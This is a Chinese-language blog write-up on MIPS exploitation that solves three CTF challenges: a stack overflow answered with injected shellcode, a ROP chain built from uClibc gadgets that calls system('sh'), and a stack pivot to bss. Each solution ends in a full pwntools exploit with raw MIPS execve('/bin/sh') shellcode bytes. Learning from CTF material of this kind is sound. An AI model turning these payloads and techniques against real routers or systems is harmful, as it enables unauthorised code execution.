MIPS PWN学习


​ MIPS架构常用于路由器设备,而路由器固件漏洞大部分都是栈溢出,因此,掌握MIPS架构下的漏洞利用对于挖掘利用路由器漏洞也是很重要的一项技能。

准备环境及工具:

  • Ubuntu16虚拟机(Ubuntu14或者Ubuntu18也可以,不过推荐使用Ubuntu16,我用18装环境遇到了很多奇奇怪怪的问题)
  • buildroot交叉编译环境,由于buildroot只能编译大端序或者小端序一种架构的环境,这里推荐安装gcc-mipsel-linux-gnugcc-mips-linux-gnu,直接apt安装就可以,使用方法和gcc一样
  • gdb-multiarch,提供多架构的调试,直接apt安装,再装一个pwndbg或者peda或者gef插件使用更方便,使用方法:qemu-mips/qemu-mipsel -L lib/ -g 1234(端口号) ./bin ,然后gdb-multiarch ./bin加载程序,gdb会自动识别程序架构,然后用target remote:127.0.0.1:1234来连接qemu进行调试即可。当然,用IDA连接也是可以,Debugger->Remote GDB Debugger然后填上ip端口号和文件路径就行了
  • IDA插件,mipsrop,开源在GitHub上,由于mips指令和x86指令存在差别,mips指令没有类似于push、pop这种直接使数据入栈出栈的指令,只有lw(load word)sw(save word)之类的指令来进行数据的转移,于是我们要在栈上进行操作就有很多种方式,用ROPgadget来搜索会很麻烦,而mipsrop会将gadgets进行分类以及不同的gadget使用后导致的结果显示出来,使用起来要方便的多。
  • Ghidra,将mips汇编反编译为c伪代码,jeb也有mips反编译功能,不过对比了一下觉得Ghidra的效果更好(IDA7.5也新增了mips反编译功能,不过……贫穷使我望而却步)

​ 简单说一下mips架构的寄存器及作用。mips32一共有32个通用寄存器,用$0-$31表示。$4-$7寄存器用作函数传参,记为$a0-$a3(argument),超出四个参数的用栈传参;$28寄存器记为$gp(global pointer),这是一个全局指针,各种函数调用之类都靠$gp寻址;$29记为$sp(stack pointer),作用和x86架构的sp寄存器一样,指向栈顶;$30记为$fp(fram pointer),或者记为$s8,这个寄存器类似于x86架构的ebp指针,指向栈底;$31记为$ra(return address),类似于x86架构的eip寄存器,保存返回地址,我们的攻击目标就是劫持$ra寄存器。我们进行利用常用的就这些寄存器。

接下来上题

0x1.rootme-ELF MIPS - Stack buffer overflow - No NX

题目只给我们mips的汇编代码,所以我们需要由汇编编译出可执行文件

.set    nomips16
    .global __start
    .text

__start:
    la      $t9, function
    jalr    $t9
    nop
    addiu   $v0, $zero, 4000 + 1
    move    $a0, $zero
    syscall
function:
    subu    $sp, $sp, 0x18
    sw      $ra, 0x14($sp)

    # write
    addiu   $v0, $zero, 4000 + 4
    la    $a0, 1
    la    $a1, hello
    la    $a2, hello_len
    syscall

    # read
    addiu   $v0, $zero, 4000 + 3
    move    $a0, $zero
    move    $a1, $sp
    addiu   $a2, $zero, 0x80
    syscall

    # write
    addiu   $v0, $zero, 4000 + 4
    la      $a0, 1
    la      $a1, hello_start
    la      $a2, hello_start_len
    syscall

    # write
    addiu   $v0, $zero, 4000 + 4
    la      $a0, 1
    move    $a1, $sp
    la      $a2, 20
    syscall

    lw      $ra, 0x14($sp)
    addiu   $sp, 0x18
    jr      $ra
    nop

.data

hello:  .asciz  "Hello World\nWhat is your name: "
    hello_len =    . - hello
hello_start:  .asciz  "Hello "
    hello_start_len =    . - hello_start

题目给的保护如下

由于题目说的是MIPS,所以我们就按照大端序来编译

用如下命令进行编译

mips-linux-gnu-as of.s -o of.o #编译成二进制目标文件
mips-linux-gnu-ld of.o -o of #编译生成可执行文件

然后我们运行一下,由于是静态编译,所以直接./of即可

从汇编我们可以看到

subu    $sp, $sp, 0x18
sw      $ra, 0x14($sp)

函数开头只将栈顶抬高了0x18个字节,并将返回地址存入sp+0x14的位置,而后面的read功能读入0x80个字节

# read
addiu   $v0, $zero, 4000 + 3 #$v0保存系统调用号,read系统调用号为4003
move    $a0, $zero #$a0保存第一个参数,0
move    $a1, $sp #$a1保存第二个参数,栈顶指针
addiu   $a2, $zero, 0x80 #$a2保存第三个参数,0x80

存在很明显的栈溢出,而由于程序是由简短的汇编代码生成,所以基本上不存在可用的gadget,而由于远程没有开启ASLR,所以栈地址也不会发生变化,且程序没有NX保护,所以我们使用shellcode来进行利用

由汇编代码我们可以知道offset为0x14,我们填充0x14个垃圾字符,然后将返回值覆盖为$sp+0x14+4,即存储返回地址的位置的后四字节,然后将$sp+0x14+4的值填充为shellcode,这样返回到$ra之后就会执行shellcode

关闭本机上的aslr后动态调试,可以得到stack的地址

不过在按照这个栈地址打不通,于是我动调了一下exp,发现此时的栈地址后三位为148,调试程序和调试exp时的栈地址相差0x10的大小

修改之后便能打通了,最终exp如下

#!/usr/bin/python
from pwn import *
context.arch = 'mips'
context.endian = 'big'
# io=process(['qemu-mips','-g','1235','./of'])
io = process('./of')
stack = 0x76fff148
payload = 'A'*0x14
payload += p32(stack+0x18)
shellcode = "\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xf4\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf8\xaf\xa0\xff\xfc\x27\xa4\xff\xf4\x28\x05\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c"
payload += shellcode
io.recvuntil('What is your name: ')
io.send(payload)
io.interactive()

(但不知道为什么远程就是打不通。。。)

0x2.rootme-ELF MIPS - Basic ROP

程序保护如下

连接ssh下载文件

)(rootme的ssh连上去还挺好康的)

虽然题目已经告诉了保护情况,但拿到题目我还是习惯先checksec一下

32位大端序程序,而且之前ssh连上去之后就直接告诉我们了程序是动态编译的

于是我们顺便把lib文件夹下载下来(由于ssh服务器在外网,所以我这里下载的挺慢的。。。),文件夹中有两个文件,ld.so.1和libc.so.6

但运行起来却出了意想不到的情况

一般来说应该直接qemu-mips -L ./ ./ch64就能运行起来,但这题却给我报了这么个错

然而在ssh服务器上使用这条命令却能直接运行

有点懵逼,遂谷歌报错信息,但并没有获得有用的信息,查看了一下ssh服务器上的qemu版本,为2.11.1,猜测是不是qemu版本不对,就下载了2.11.1,然而并没有什么🥚用,陷入沉思。之后又谷歌了一下,看到有类似报错的,直接使用-g进行调试,于是使用qemu-mips -L ./ -g 1234 ./ch64启动调试,vmmap查看发现程序并未加载libc.6.so库,仅仅只加载了ld.so.1,于是便使用pwn题下加载不同libc的方法强制加载libc.so.6库

export LD_LIBRARY_PATH=`pwd`
export LD_PRELOAD=lib/libc.so.6

然后运行

成功!第一行的报错个人猜测是我强制加载了libc库,然后-L 又指定了一下libc,然后报错,当然这只是猜测,也懒得谷歌了

接下来就开始利用

首先将程序分别用IDA和Ghidra进行加载,用ghidra查看伪代码,main函数如下

undefined4 main(void)

{
  int iVar1;
  byte bStack144;
  char acStack136 [128];

  bStack144 = 0;
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(_stdout,(char *)0x0,2,0);
  while (bStack144 < 4) {
    if (bStack144 == 3) {
      puts("\nAccess denied.\n");
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
    printf("Enter your passphrase: ");
    fgets(acStack136,0x200,stdin);
    iVar1 = strncmp(acStack136,"$MyPasswordPoorlySecured!",0x19);
    if (iVar1 == 0) break;
    bStack144 = bStack144 + 1;
  }
  puts("\nAccess granted!.\n");
  return 0;
}

分析main函数,我们有三次输入的机会,存在明显的栈溢出

char acStack136 [128];
fgets(acStack136,0x200,stdin);

fgets接受0x200个字节的输入,而缓冲区大小只有128字节,当输入为$MyPasswordPoorlySecured!时就退出while循环

我们动态调试一下来确定偏移量,使用cyclic 200生成200个字符,然后输入进去

程序崩溃,然后确定偏移量

offset=132,我们再来验证一下,我们使用cyclic生成132个字符再加上BBBB

可以看到,返回地址确实被覆盖成了BBBB

确定了返回地址,该怎么利用

由于远程环境未开启ASLR且程序未开启PIE,所以libc加载地址是不变的,我们无需泄露libc地址,直接vmmap查看libc加载地址即可

可以查看到libc基地址为0x76637000

然后我们要构造出system(‘/bin/sh’),有了libc基地址,system和binsh字符串的地址也知道了,接下来查找gadget,IDA加载libc.so.6,使用mipsrop.stackfinder()命令查找用于栈的gadgets

我们需要控制$a0,用于存放binsh的地址,我们选择0x0012BAA4位置处的gadget来操作,如下

.text:0012BAA4                 move    $t9, $s0
.text:0012BAA8                 jalr    $t9 ; pipe
.text:0012BAAC                 addiu   $a0, $sp, 0x24  # '$'

这一处gadget会将$sp+0x24处的值作为$a0的值,所以$sp+0x24处我们要填上binsh的地址,然后会跳转到$s0寄存器指向的地址处,所以$s0我们要设置为system函数的地址,为了方便说明,我们称这个gadget为gadget_a0

要完成gadget_a0,我们需要先设置好$s0寄存器的值,uclibc中有一个类似于x86-64架构下的通用gadget,可以设置我们要用到的绝大多数的寄存器的值,位于 scandir 或者 scandir64尾部,如下所示

.text:000AE818                 lw      $ra, 0x40+var_4($sp)
.text:000AE81C                 move    $v0, $s6
.text:000AE820                 lw      $s7, 0x40+var_8($sp)
.text:000AE824                 lw      $s6, 0x40+var_C($sp)
.text:000AE828                 lw      $s5, 0x40+var_10($sp)
.text:000AE82C                 lw      $s4, 0x40+var_14($sp)
.text:000AE830                 lw      $s3, 0x40+var_18($sp)
.text:000AE834                 lw      $s2, 0x40+var_1C($sp)
.text:000AE838                 lw      $s1, 0x40+var_20($sp)
.text:000AE83C                 lw      $s0, 0x40+var_24($sp)
.text:000AE840                 jr      $ra
.text:000AE844                 addiu   $sp, 0x40

利用这个gadget,我们可以将$s0设置为system函数的地址,将这个gadget执行完后的返回值设置为gadget_a0的地址,即在$sp+0x3c的位置处填入gadget_a0的地址,类似的我们称这个gadget为gadget_s0

于是,我们整个payload的结构图如下

详细地解释一下这个流程,首先偏移量132,随后将返回地址覆盖为gadget_s0,然后由于这一句

lw      $s0, 0x40+var_24($sp)

将0x1c($sp)位置处的值写入$s0,所以$sp+0x1c处我们填充为system地址,而由于当程序执行gadget_s0时,gadget_s0就是sp所指向的位置,所以直接填充0x1c个垃圾字符后接上system地址即可,由于返回地址为

lw      $ra, 0x40+var_4($sp)

即相对于返回地址位置+0x3c处要填充为gadget_a0的地址,‘A’*0X1C+system(4字节)=0x20字节,所以在system后再填充(0x3c-0x20)个字节的垃圾字符,然后再填充gadget_a0的地址,再填充0x24个垃圾字节,最后写入binsh的地址

不过这样子的exp写完会有点问题,发生在执行system(“/bin/sh”)的时候,如下

也不想调试到底是哪里发生了问题,作为替代,我将binsh的地址直接替换为sh\x00\x00,然后就可以打通了,exp如下

#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
context.arch = 'mips'
context.endian = 'big'

io = process(['qemu-mips', '-L', './', './ch64'])
#io = process(['qemu-mips', '-L', './', '-g', '1234', './ch64'])
libc = ELF('lib/libc.so.6')
libc_base = 0x76637000
system_addr = libc_base+libc.symbols['system']
binsh_addr = libc_base+0x00164fac
gadget_a0 = 0x0012BAA4+libc_base
gadget_s0 = 0x000AE818+libc_base

log.success('system_addr => {}'.format(hex(system_addr)))
log.success('binsh_addr => {}'.format(hex(binsh_addr)))
log.success('gadget_a0 => {}'.format(hex(gadget_a0)))
log.success('gadget_s0 => {}'.format(hex(gadget_s0)))
'''
payload = 'A'*0x40
payload += p32(0x409010)
payload += 'A'*0x40
'''
payload = 'A'*132
payload += p32(gadget_s0)
payload += 'A'*0x1c
payload += p32(system_addr)
payload += 'A'*0x1c
payload += p32(gadget_a0)
payload += 'A'*0x24
payload += 'sh'.ljust(4, '\x00')
io.recvuntil('Enter your passphrase: ')
io.sendline(payload)
io.recvuntil('Enter your passphrase: ')
io.sendline('$MyPasswordPoorlySecured!')
io.interactive()

0x3.xmctf.top-mipspwn

下载下来有两个libc文件和一个可执行文件,checksec检查一下

32位小端序,无保护

file一下

静态编译,所以这个lib文件夹并没有什么用

分别用ghidra和IDA加载题目,ghidra查看伪代码

main函数和漏洞函数分别如下

undefined4 main(EVP_PKEY_CTX *param_1)

{
  init(param_1);
  puts("what is your name?");
  read(0,a,3);
  vul();
  return 0;
}
undefined4 vul(void)

{
  undefined auStack64 [56];

  puts("just do it~");
  read(0,auStack64,0xb0);
  return 0;
}c

read读入的字节数大于缓冲区的大小,造成溢出

注意到存在一个backdoor函数,查看一下

void backdoor(void)

{
  system("how are you?");
  return;
}

并没有什么🥚用,只是提供了一个system函数

IDA使用mipsrop查找一下gadget

虽然是静态编译,但可用的gadget非常少

而用于栈的gadget只有一条,还是为$a1赋值

所以我们得换个思路,gadget不足,不能用rop来getshell,但程序没有NX保护,所以我们便采用ret2shellcode来利用

首先确定一下偏移量大小

glibcpwn中,ret2shellcode有时会利用read函数往bss端读入shellcode然后跳转到bss段执行,这题的利用手法也类似,不过在这题中,我们并不能手动构造出read函数,而是借用vul函数中的read语句来执行,如下所示

.text:00400484                 li      $a2, 0xB0
.text:00400488                 addiu   $v0, $fp, 0x58+var_40
.text:0040048C                 move    $a1, $v0
.text:00400490                 move    $a0, $zero
.text:00400494                 la      $v0, read
.text:00400498                 move    $t9, $v0
.text:0040049C                 bal     read

注意到read函数的第二个参数,也就是读入的地址来源于$v0,而$v0又来源于$fp+0x58-0x40,继续往下看到vul函数结束的语句

.text:004004B0                 lw      $ra, 0x58+var_4($sp)
.text:004004B4                 lw      $fp, 0x58+var_8($sp)
.text:004004B8                 addiu   $sp, 0x58
.text:004004BC                 jr      $ra

vul函数结束时会还原栈帧,main函数的$fp的值会存在$ra的上方,函数结束时会将其取出放入$fp中,因此我们可以控制$fp的值,再将$ra覆盖为read功能开始处,也就是0x00400484,这样我们就能将shellcode写入别的位置,再将返回地址覆盖为shellcode写入的位置,返回后就会执行shellcode

先贴上exp

#!/usr/bin/python
from pwn import *
from time import sleep
context.log_level = 'debug'
context.arch = 'mips'
context.endian = 'little'
#io = process(['./qemu-mipsel', '-g','1234', './pwn2'])
#io=remote('xmctf.top',8905)
io=process('./pwn2')
elf = ELF('pwn2')
io.recvuntil("what is your name?\n")
io.send('a')
io.recvuntil('just do it~')
#shellcode = "\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xf4\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf8\xaf\xa0\xff\xfc\x27\xa4\xff\xf4\x28\x05\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c"
#shellcode = "\x24\x06\x06\x66\x04\xd0\xff\xff\x28\x06\xff\xff\x27\xbd\xff\xe0\x27\xe4\x10\x01\x24\x84\xf0\x1f\xaf\xa4\xff\xe8\xaf\xa0\xff\xec\x27\xa5\xff\xe8\x24\x02\x0f\xab\x01\x01\x01\x0c/bin/sh\x00"
shellcode="\x50\x73\x06\x24\xff\xff\xd0\x04\x50\x73\x0f\x24\xff\xff\x06\x28\xe0\xff\xbd\x27\xd7\xff\x0f\x24\x27\x78\xe0\x01\x21\x20\xef\x03\xe8\xff\xa4\xaf\xec\xff\xa0\xaf\xe8\xff\xa5\x23\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh" 
bss = elf.bss()
read = 0x400484
payload = 'A'*56
payload += p32(bss+0x50-0x58+0x40)
payload += p32(read)
io.send(payload)
sleep(1)
payload = 'A'*60
payload += p32(bss+0x50+0x40)
payload += shellcode

io.send(payload)
io.interactive()

由于偏移量为60,那么相对于fp就为56,我们的目标是往bss段写入shellcode,为避免bss开头存在某些值,选择往bss+0x50处写入shellcode

addiu   $v0, $fp, 0x58+var_40

因为是将$fp+0x58-0x40赋给$v0,为避免计算,我们将$fp设置为bss+0x50-0x58+0x40,这样赋给$v0的就是(bss+0x50-0x58+0x40)+0x58-0x40=bss+0x50,随后sleep(1),等待rop执行,接着就会执行第二次read,往bss+0x50读,实际上这就是一个栈迁移,将栈迁移到了bss段,这次就只需要覆盖$ra,将$ra修改为shellcode的地址。第二次read从bss+0x50开始,然后写入60(0x3c)个A,返回地址占四字节,加起来就是0x40个字节,返回地址之后就是shellcode,所以将返回地址修改为bss+0x50+0x40就好

执行效果如下

总结

​ 这三道题相信在做多了glibcpwn的师傅们看来都是基础题,需要注意的就是mips架构下的指令和寄存器的功能,以及叶子函数和非叶子函数的一点区别。不过在跟着《解密家用路由器0day漏洞挖掘技术》这本书进行一些路由器漏洞的复现时,发觉挺多路由器漏洞的利用难度也差不多是这个水平(当然也不能局限于这个难度,难题也还是有的),路由器绝大部分无aslr,固件无保护,困难之处在于发现漏洞。当然也可能是因为我接触的少了,这本书上的几个漏洞也都是好几年前的了,现在的情况也应该有所变化。

​ 最后,希望本篇文章能为像我一样刚入门的师傅们提供一点帮助。

参考链接:


文章作者: Lock
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Lock !
评论
 上一篇
IO_FILE学习 IO_FILE学习
本文用于记录IO_FILE的利用原理思路以及构造模板 首先我们知道内核启动的时候默认打开3个I/O设备文件,标准输入文件stdin,标准输出文件stdout,标准错误输出文件stderr,分别得到文件描述符 0, 1, 2,而这三个I/
2020-08-08
下一篇 
VMpwn学习 VMpwn学习
新手向,会讲得比较详细,入门不易 虚拟机保护的题目相比于普通的pwn题逆向量要大许多,需要分析出分析出不同的opcode的功能再从中找出漏洞,实际上,vmpwn的大部分工作量都在逆向中,能分析出虚拟指令集的功能实现,要做出这道题也比较容
2020-06-04
  目录